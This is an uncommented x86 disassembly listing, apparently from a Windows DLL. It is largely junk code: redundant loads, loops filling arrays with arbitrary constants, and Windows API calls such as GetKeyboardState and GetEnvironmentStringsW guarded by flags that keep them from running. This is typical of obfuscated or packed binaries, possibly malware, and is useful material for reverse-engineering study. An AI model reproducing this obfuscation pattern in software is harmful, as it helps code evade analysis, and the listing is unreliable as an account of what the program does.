push 0xfffffffffffffffc
pop eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x34], edi
mov eax, dword [ebp - 0x14]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setl cl
mov dword [ebp - 0x20], ecx
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], 8
je 0x100305ce
xor eax, eax
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xffffffe5
jg 0x100305a5
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x22
jne 0x10030572
call dword [sym.imp.USER32.dll_GetMessageTime]
mov dword [ebp - 0x18], edi
xor eax, eax
mov dword [ebp - 0x40], 0x50cf
mov dword [ebp - 0x54], 0xbefa
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x100307e5
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2e8], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x100307cc
xor eax, eax
mov dword [ebp - 0x18], 0x64a6847d
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jg 0x1003094c
mov dword [ebp - 0x24], 0x43c4ab27
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10030823
push eax
push 0xe00
push 0x107b
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x2e8], 0
jne 0x1003094a
mov dword [ebp - 0x24], ebx
xor eax, eax
cmp dword [ebp - 0x24], eax
jl 0x1003093b
or ecx, 0xffffffff
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x34], 0x491d
cmp dword [ebp - 0x28], eax
jne 0x1003093b
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jg 0x10030932
mov dword [ebp - 0x3c], 0xfffffffa
mov dword [ebp - 0x14], eax
jmp 0x10030881
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xca8], 0xbac8ef34
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10030870
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0x2e8]
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2e8], ecx
xor eax, eax
mov dword [ebp - 0x3c], eax
jmp 0x1003091b
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x2e8], 0
jne 0x100308c2
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x2e8]
mov eax, dword [ebp - 0x2e4]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2e8]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
xor eax, eax
cmp ecx, 0xad01
push 2
setne al
xor edx, edx
lea ecx, [eax - 0x1d9]
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
sete dl
xor ebx, ebx
cmp edx, eax
setle bl
xor ecx, ecx
sub ebx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x2e8]
cmp eax, ebx
pop ebx
setge cl
mov dword [ebp - 0xca8], ecx
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], ebx
jle 0x100308a2
inc dword [ebp - 0x28]
push 0
pop eax
cmp dword [ebp - 0x28], ebx
jle 0x10030864
or ecx, 0xffffffff
dec dword [ebp - 0x24]
jns 0x10030845
inc dword [ebp - 0x18]
push 0
pop eax
cmp dword [ebp - 0x18], ebx
jle 0x100307f8
xor eax, eax
mov dword [ebp - 0x14], 0xe1ca2961
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x10030974
or ecx, 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x3f0], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1003095f
xor eax, eax
mov dword [ebp - 0x3f0], 0xfffffffe
jmp 0x10030990
mov dword [ebp - 0x34], 0xfffffff9
inc dword [ebp - 0x34]
inc dword [ebp - 0x3f0]
cmp dword [ebp - 0x3f0], 0x1d
jne 0x10030980
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xa
jg 0x100309cb
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x100309b3
push eax
push eax
call dword [sym.imp.USER32.dll_LoadCursorA]
mov eax, dword [ebp - 0x3f0]
mov dword [ebp - 0x3f0], eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xa
push 0
pop eax
jle 0x100309a2
mov byte [ebp - 0x49], al
mov dword [ebp - 0x44], 0x20e83c77
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x100309ed
push eax
push 0x15db
push eax
call dword [sym.imp.GDI32.dll_GetMetaFileBitsEx]
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10030a03
push 0x2301
call dword [sym.imp.GDI32.dll_GetStockObject]
xor eax, eax
cmp byte [ebp - 0x49], 0
je 0x10030e98
mov dword [ebp - 0x1c], 0x6e871d97
mov dword [ebp - 0x20], 0x8c9d
mov dword [ebp - 0x28], 0x67f5aee0
mov dword [ebp - 0x34], 9
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x48], 0xfffffff7
mov dword [ebp - 0x40], 6
mov dword [ebp - 0x14], eax
jmp 0x10030a50
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x674], 0x81fdf20b
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10030a3f
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
xor eax, eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setge dl
add edx, dword [ebp - 0x34]
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
je 0x10030ab5
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x10030ab7
mov eax, edi
jmp 0x10030ab7
xor eax, eax
mov dword [ebp - 0x48], eax
xor edx, edx
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
push 0x1019
setl dl
xor ecx, ecx
add edx, dword [ebp - 0x28]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x674], edi
mov dword [ebp - 0x48], 0x9cd1
mov eax, dword [ebp - 0x48]
test eax, eax
push 0x1b58
setle cl
mov dword [ebp - 0x40], ecx
call esi
push eax
call dword [sym.imp.USER32.dll_SetWindowLongA]
jmp 0x10030e98
mov dword [ebp - 0x28], edi
or eax, 0xffffffff
mov dword [ebp - 0x20], eax
mov eax, 0x8236511f
mov dword [ebp - 0x24], 0xe3aa
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x1b4], eax
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x1ac], eax
xor eax, eax
mov dword [ebp - 0x44], 0xfffffff7
mov dword [ebp - 0x44], 0xfffffff6
mov dword [ebp - 0x44], 0xfffffffa
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x10030b6b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x488], 2
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10030b52
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x10030b8d
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xa60], 0x3d25
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10030b74
xor eax, eax
mov dword [ebp - 0x28], 0xffffffe2
cmp dword [ebp - 0x28], 0xe
jge 0x10030d15
or ebx, 0xffffffff
mov dword [ebp - 0x18], 0x88a137b1
mov dword [ebp - 0x34], edi
cmp dword [ebp - 0x18], eax
mov byte [ebp - 0xd], al
je 0x10030bc2
cmp byte [ebp - 0xd], 0
je 0x10030bde
push eax
call dword [sym.imp.KERNEL32.dll_SetDllDirectoryW]
jmp 0x10030bdc
cmp byte [ebp - 0xd], 0
je 0x10030bd6
push eax
push eax
push 0x2666
push eax
call dword [sym.imp.USER32.dll_AppendMenuA]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x18], 0xfffffff0
jmp 0x10030cf9
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x40], 0x8254981c
mov dword [ebp - 0x48], 0x5a24b834
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x10030c18
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x70], 0x9cb61d22
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10030c03
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10030c34
push 0x1bcd
push 0xbb8
push eax
call dword [sym.imp.USER32.dll_EnableMenuItem]
xor eax, eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 3
jg 0x10030cf6
mov dword [ebp - 0x20], ebx
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp + eax*4 - 0x488]
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x10030caa
mov eax, dword [ebp - 0x40]
mov ecx, 0xfffd
sub eax, dword [ebp - 0x28]
neg eax
sbb eax, eax
inc eax
cmp ecx, eax
sbb edx, edx
inc edx
sub edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x47c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x70]
setl cl
cmp ecx, dword [ebp + eax*4 - 0x488]
jne 0x10030c95
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp + eax*4 - 0x488]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x28]
mov ecx, edi
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp + eax*4 - 0x488]
sub ecx, eax
jne 0x10030cd0
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp + eax*4 - 0x488]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp + eax*4 - 0x488]
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0x488], ecx
inc dword [ebp - 0x70]
cmp dword [ebp - 0x70], 3
jle 0x10030c41
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x17
jg 0x10030bea
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xe
jl 0x10030ba1
mov ebx, 0xb054dbbe
dec dword [ebp - 0xa58]
or ecx, 0xffffffff
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x28], 0x2fde
mov dword [ebp - 0x3c], 0x74b28ed4
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x34], 0x9e149cff
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x10030d5f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x18c], 6
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x10030d47
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x10030d81
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x7a0], 0x5900b088
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10030d68
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x28], eax
je 0x10030d9a
mov eax, dword [ebp - 0x28]
mov edx, edi
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x10030d98
mov ecx, edi
jmp 0x10030d9c
xor eax, eax
mov ecx, eax
xor eax, eax
cmp edx, ecx
setle al
imul eax, dword [ebp - 0x28]
cmp ebx, eax
mov eax, dword [ebp - 0x3c]
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setne cl
mov dword [ebp - 0x18c], ecx
mov eax, dword [ebp - 0x20]
neg eax
je 0x10030e10
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x10030df4
mov ecx, dword [ebp - 0x18c]
xor edx, edx
mov eax, dword [ebp - 0x28]
cmp eax, ecx
setl dl
sub edx, 0xe24b
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x7a0], edx
je 0x10030df2
mov eax, edi
jmp 0x10030df4
xor eax, eax
mov dword [ebp - 0x34], eax
xor edx, edx
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setge dl
cmp dword [ebp - 0x18c], edx
jle 0x10030e10
mov ecx, edi
jmp 0x10030e14
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x28]
xor edx, edx
inc ecx
cmp ecx, eax
setg dl
mov dword [ebp - 0x18c], edx
test edx, edx
jne 0x10030e35
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x7a0], eax
je 0x10030e37
mov edx, edi
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x10030e62
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10030e95
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
jmp 0x10030e95
mov dword [ebp - 0x3c], eax
jmp 0x10030e8f
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10030e8c
push pe_nt_image_headers32
push 0x21f7
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
xor eax, eax
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0x1f
jne 0x10030e67
inc dword [ebp - 0x48]
push 2
pop esi
push 0xfffffffffffffffd
pop eax
mov dword [ebp - 0x3c], 0x82062403
mov dword [ebp - 0x40], eax
push 0xfffffffffffffffc
pop eax
mov dword [ebp - 0x44], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10030ec5
push 0x1aac
call dword [sym.imp.KERNEL32.dll_TlsFree]
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xd
jne 0x10030f2b
mov dword [ebp - 0x14], 0x307b
cmp dword [ebp - 0x3c], eax
jne 0x10030edd
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x14]
xor ebx, ebx
mov eax, dword [ebp - 0x14]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setle bl
sub ebx, 0xfffffff7
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
cmp eax, edi
mov eax, dword [ebp - 0x14]
setle cl
xor edx, edx
cmp ebx, ecx
setl dl
add eax, 0x39c7c6f1
add eax, edx
je 0x10030f1a
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x10030f1c
mov eax, edi
jmp 0x10030f1c
xor eax, eax
mov dword [ebp - 0x40], eax
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xd
push 0
pop eax
je 0x10030ece
mov dword [ebp - 0x1c], eax
or ecx, 0xffffffff
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x40], 0x658a6001
push 3
mov dword [ebp - 0x18], eax
pop ebx
cmp dword [ebp - 0x18], ebx
jge 0x10030f5e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x5d8], 0x10c93b4e
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10030f46
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x10030f7a
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x590], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x10030f66
xor eax, eax
mov dword [ebp - 0x1c], esi
cmp dword [ebp - 0x1c], eax
jl 0x1003103f
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x1c]
push 0xffffffffffffffff
mov ecx, dword [ebp + eax*4 - 0x5d8]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x5d8], ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
add edx, ecx
xor ecx, ecx
cmp edx, eax
setg cl
xor edx, edx
mov dword [ebp - 0x48], ecx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x48]
cmp eax, ecx
setg dl
mov dword [ebp - 0x14], edx
xor edx, edx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x5d8]
mov dword [ebp - 0x14], eax
mov esi, dword [ebp - 0x14]
mov dword [ebp - 0x590], esi
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov ecx, dword [ebp - 0x5d8]
mov eax, dword [ebp - 0x1c]
setge dl
add ecx, edx
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x5d8]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setne dl
xor ecx, ecx
sub esi, edx
cmp esi, 8
setle cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x48]
setg dl
xor ecx, ecx
cmp eax, edx
setg cl
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x40], eax
dec dword [ebp - 0x1c]
pop ecx
jns 0x10030f86
push 2
xor eax, eax
pop esi
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10031065
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xe20], 0x8bbca631
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1003104d
xor eax, eax
mov dword [ebp - 0x20], edi
cmp dword [ebp - 0x20], eax
jl 0x10031075
inc dword [ebp - 0x34]
dec dword [ebp - 0x20]
jns 0x1003106d
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10031087
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
xor eax, eax
mov dword [ebp - 0x28], 0xbe8e56f9
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x100310ae
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x6b8], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10031096
xor eax, eax
mov dword [ebp - 0x28], edi
cmp dword [ebp - 0x28], eax
jl 0x100311bb
mov dword [ebp - 0x40], 0x60a22152
mov dword [ebp - 0x14], eax
jmp 0x100310d7
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x394], 0x8e10e5e5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x100310c6
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp dword [ebp + eax*4 - 0x6b8], ecx
je 0x1003111e
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10031108
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_DeleteDC]
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0x6b8], 0
jne 0x100311b9
jmp 0x100311ad
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x28]
neg ecx
sbb ecx, ecx
neg ecx
sub ecx, eax
mov eax, dword [ebp - 0x40]
dec eax
add eax, ecx
cmp eax, 0xdae5a60d
jae 0x1003117a
mov dword [ebp - 0x34], 0x426a7609
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
push 0xfffffffffffffffc
pop ecx
cmp ecx, eax
sbb eax, eax
inc eax
mov dword [ebp - 0x394], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x100311a3
push 0x2045
push eax
push eax
push eax
push 0x116a
push eax
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
jmp 0x100311a3
xor eax, eax
mov dword [ebp - 0x3c], eax
jmp 0x1003118a
mov dword [ebp - 0x394], eax
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], edi
jle 0x10031181
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x100311a3
push 0x1acc
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x6b8]
dec dword [ebp - 0x28]
push 0
pop eax
jns 0x100310ba
xor eax, eax
mov dword [ebp - 0x14], 0x57976326
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x100311de
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x58c], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100311ca
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x10031290
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x10031205
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xb8], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x100311f1
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x10031227
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xe60], 0xf6f97812
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1003120e
xor eax, eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], edi
jg 0x1003128d
mov eax, dword [ebp - 0xb8]
xor ecx, ecx
mov edx, dword [ebp + eax*4 - 0x58c]
mov eax, dword [ebp - 0x58c]
cmp eax, edi
mov eax, dword [ebp - 0xb8]
setg cl
imul edx, ecx
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x58c]
cmp eax, edx
sete cl
xor eax, eax
mov dword [ebp - 0xe5c], ecx
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1003127d
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
inc dword [ebp - 0xb8]
cmp dword [ebp - 0xb8], edi
jle 0x10031235
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jle 0x100311e6
mov dword [ebp - 0x38], 7
mov dword [ebp - 0x40], 0x25429297
mov dword [ebp - 0x20], 0x493876a4
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x14], eax
jmp 0x100312c7
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xdec], 0xa32f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100312b6
mov eax, dword [ebp - 0x38]
xor ecx, ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
cmp eax, 0x26d8d383
setge cl
dec ecx
sub ecx, dword [ebp - 0x38]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0xdec], ecx
mov eax, dword [ebp - 0x38]
add eax, ecx
xor ecx, ecx
cmp eax, 0x785b
setle cl
add ecx, dword [ebp - 0x38]
cmp ecx, dword [ebp - 0x38]
jle 0x10031312
xor eax, eax
cmp dword [ebp - 0x40], eax
je 0x10031314
mov eax, edi
add eax, 0xf9732ac
je 0x10031327
mov dword [ebp - 0x34], 0xe6fc2e60
dec dword [ebp - 0x34]
jmp 0x10031357
mov dword [ebp - 0x34], 0xb26d5d64
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x34]
sub eax, dword [ebp - 0x38]
imul eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x54], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10031359
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10031372
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetMenu]
xor eax, eax
push 0xfffffffffffffffd
pop ecx
mov dword [ebp - 0x3c], 0x82062403
mov dword [ebp - 0x40], ecx
push 0xfffffffffffffffc
pop ecx
mov dword [ebp - 0x44], ecx
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1003139b
push 0x1aac
call dword [sym.imp.KERNEL32.dll_TlsFree]
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xd
jne 0x10031404
mov dword [ebp - 0x14], 0x307b
cmp dword [ebp - 0x3c], eax
jne 0x100313b3
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x14]
xor ebx, ebx
mov eax, dword [ebp - 0x14]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setle bl
sub ebx, 0xfffffff7
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
cmp eax, edi
mov eax, dword [ebp - 0x14]
setle cl
xor edx, edx
cmp ebx, ecx
setl dl
add eax, 0x39c7c6f1
add eax, edx
je 0x100313f0
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x100313f2
mov eax, edi
jmp 0x100313f2
xor eax, eax
mov dword [ebp - 0x40], eax
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xd
push 0
pop eax
je 0x100313a4
push 3
pop ebx
mov dword [ebp - 0x1c], eax
or ecx, 0xffffffff
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x40], 0x658a6001
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10031434
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x660], 0x10c93b4e
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1003141c
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x10031450
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x638], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1003143c
xor eax, eax
mov dword [ebp - 0x1c], esi
cmp dword [ebp - 0x1c], eax
jl 0x10031517
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x1c]
push 0xffffffffffffffff
mov ecx, dword [ebp + eax*4 - 0x660]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x660], ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
add edx, ecx
xor ecx, ecx
cmp edx, eax
setg cl
xor edx, edx
mov dword [ebp - 0x48], ecx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x48]
cmp eax, ecx
setg dl
mov dword [ebp - 0x14], edx
xor edx, edx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x660]
mov dword [ebp - 0x14], eax
mov esi, dword [ebp - 0x14]
mov dword [ebp - 0x638], esi
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov ecx, dword [ebp - 0x660]
mov eax, dword [ebp - 0x1c]
setge dl
add ecx, edx
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x660]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setne dl
xor ecx, ecx
sub esi, edx
cmp esi, 8
setle cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x48]
setg dl
xor ecx, ecx
cmp eax, edx
setg cl
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x40], eax
dec dword [ebp - 0x1c]
pop ecx
